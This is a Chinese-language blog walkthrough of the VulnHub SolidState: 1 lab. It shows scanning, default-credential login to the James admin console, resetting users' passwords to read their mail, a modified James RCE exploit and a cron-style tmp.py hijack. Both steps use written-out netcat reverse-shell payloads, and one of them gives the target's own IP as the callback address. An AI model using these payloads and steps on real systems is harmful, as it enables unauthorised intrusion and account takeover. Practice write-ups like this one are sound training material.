歡迎光臨
我們一直在努力

Vulnhub x SolidState: 1

VulnHub是一個面向所有人開放的安全靶場,裡面有很多安全環境,只要下載相關映像檔,在相關虛擬機器上面執行就可以練習相關靶場了。裡面設計了好多關,如果有耐心一定可以到達峰頂。許多考OSCP人員,也會利用Vulnhub靶場進行刷題。我們下載了一個經典漏洞靶場,給大家進行演示,希望讓初學者知道滲透測試的套路,可以更快的成長。

靶機:SolidState: 1

首先,先查詢自己本地的IP,可以透過 ifconfig查詢。

eth0 192.168.44.136 這是本地IP ,同時也是攻擊者端

接著我們透過 nmap這款工具,可以快速系統掃描,並查找當前內網的其他主機及服務。

nmap -A 192.168.44.0/24 ,查詢該網段底下的主機,發現標的物為 192.168.44.137 主機。

接著透過 nmap 掃描該標的物主機使用了哪些服務,可以透過nmap 192.168.44.137 -sV -p 0-65535

掃描 0-65535 Port中,使用哪些。

發現該主機開啟了 22、25、80、110、119、4555 Port,並且STATE狀態都為 open。

而後面Version為該服務版本號,我們可以將蒐集到的資訊,一一作為查詢是否存在漏洞,

例:james-admin JAMES Remote Admin 2.3.2,透過exploit-db可以找到這篇RCE漏洞

在滲透測試過程中,前期一定要先做好情報蒐集,例如該網站/主機提供了什麼樣的服務/功能 ? 使用什麼語言開發? 哪些框架? 版本號? 子目錄? 子域名? 等

除了nmap對主機進行探測外,我們還可以嘗試對網站進行掃描下,

使用Dirb,該工具是使用字典檔來進行網站探測目錄,是個很方便的工具

在現實生活中,很多網站可以透過robots.txt、/.git /.svn等方式來尋找網站的敏感資訊,甚至是網站後台、原始碼等

這邊只有 images目錄、index.html,沒什麼資訊可利用。

於是直接訪問網站,查看下提供了哪些功能 ? 可能存在什麼漏洞 ? 例:XSS、SQL Injection等

網站逛過一遍後,發現基本上都是html,沒什麼可輸入、可互動的功能,唯獨只有看到這個像是Email聯繫的功能。

在這邊一開始以為有沒有可能是要透過 XSS來拿 admin的資料,但嘗試了下 看起來不是。

既然網站感覺沒有功能可以打,也沒蒐集到可利用的資訊,於是我們轉移目標,放到一開始nmap所掃描的服務上。

將每個服務都Google查詢一遍後,發現James Server 2.3.2存在漏洞,於是我們就往這個點打。

首先 nc 連到該主機標的,帳號密碼嘗試用弱密碼/預設密碼猜測,例:root/root,admin/admin 等。

root 成功登入後,下指令help查詢下,看看提供什麼指令可以操作。

發現listusers,看起來是 列出使用者,adduser為添加使用者,setpassword為重設密碼

透過listusers,可以看到有 james、thomas、john、mindy、mailadmin用戶。

../../../../../../../../etc/bash_completion.d 是我在練習時,透過exploit 添加上去的,這邊可以暫時先忽略。

有了使用者帳號後,但因為不知道使用者密碼,於是可以透過setpassword來更改密碼,

setpassword mindy lonelypopo

依序將每位使用者密碼都暫時修改為 lonelypopo,方便之後可以利用。

修改完密碼後,接著嘗試連接 pop3服務

telnet 192.168.44.137 110

也是依序將每位使用者都登入看看,然後查詢/蒐集下有什麼機敏資料。

最後在mindy使用者上 查詢retr 2後發現該標的主機的ssh帳號密碼。

你問我為什麼知道是ssh的帳號密碼? 原因很簡單,將蒐集到的資訊,每個服務都嘗試登入看看就知道了。

Username:mindy

Password:[email protected][email protected]

接著就可以直接ssh [email protected] 登入該標的主機了。

在當前目錄下 ls ,發現有 第一關 user.txt的 flag,於是直接 cat user.txt。

拿到第一把flag。

不過由於mindy不是root權限,無法訪問/root目錄,也無法查看root.txt,所以接下來的步驟得想辦法提權到root。

接下來,我們使用前面提到的Exploit並修改下Payload,

原:payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root

改:payload = 'nc -e /bin/sh 192.168.44.136 8000' # to exploit only on root

就是要Reverse Shell,反彈回來到本地上,之後比較方便操作。

然後在Kali 本地上 透過nc 監聽 8000 port,當執行exploit後,在ssh到該標的主機上,shell就會反連回來了。

視窗一 python exp.py 192.168.44.137

視窗二 ssh [email protected]

視窗三 nc -lvp 8000

反彈回來後,習慣切換到交互式操作視窗,比較方便操作。

python -c 'import pty;pty.spawn("/bin/bash")'

因為要想辦法提升到root權限來讀取root.txt,所以當打下主機後(低權限),就是要開始蒐集資訊,查看主機內的哪些process是透過root執行,哪些服務是root權限等等之類的。

可以使用ps aux來查看

而經過一番查詢後,ps aux | grep james

看到/opt目錄下 james-2.3.2,感覺就是可以打的點。

在/opt目錄下 透過 ls -al,可以查看到有 james-2.3.2 及 tmp.py

可以查看下 tmp.py裡邊的程式碼,看看能不能修改。

rm -r /tmp/* ,刪除/tmp底下的檔案,於是我們到/tmp底下,隨便新增一個目錄,然後執行tmp.py,查看是否可以成功執行。

因為shell壞掉,無法直接vi修改,但發現可以透過echo方式來添加進去

echo "os.system('/bin/nc -e /bin/bash 192.168.44.137 8082')" >> tmp.py

接著 nc -vlnp 8082 ,透過nc 監聽8082 Port,等待Shell反連回來。

剛才透過echo寫入 tmp.py後,我們可以直接 cat tmp.py 讀取tmp,這時候shell就會成功反連回來了。

成功反彈shell後,透過id查看下當前用戶是 root,於是成功提權了。

cat root.txt,讀取第二把flag。

結束。

 

贊(0) 打賞
轉載請附上作者連結:波波的寂寞世界 » Vulnhub x SolidState: 1

波波的寂寞世界

Facebook聯繫我們

覺得文章有用,請作者喝杯咖啡

掃一掃打賞作者狗糧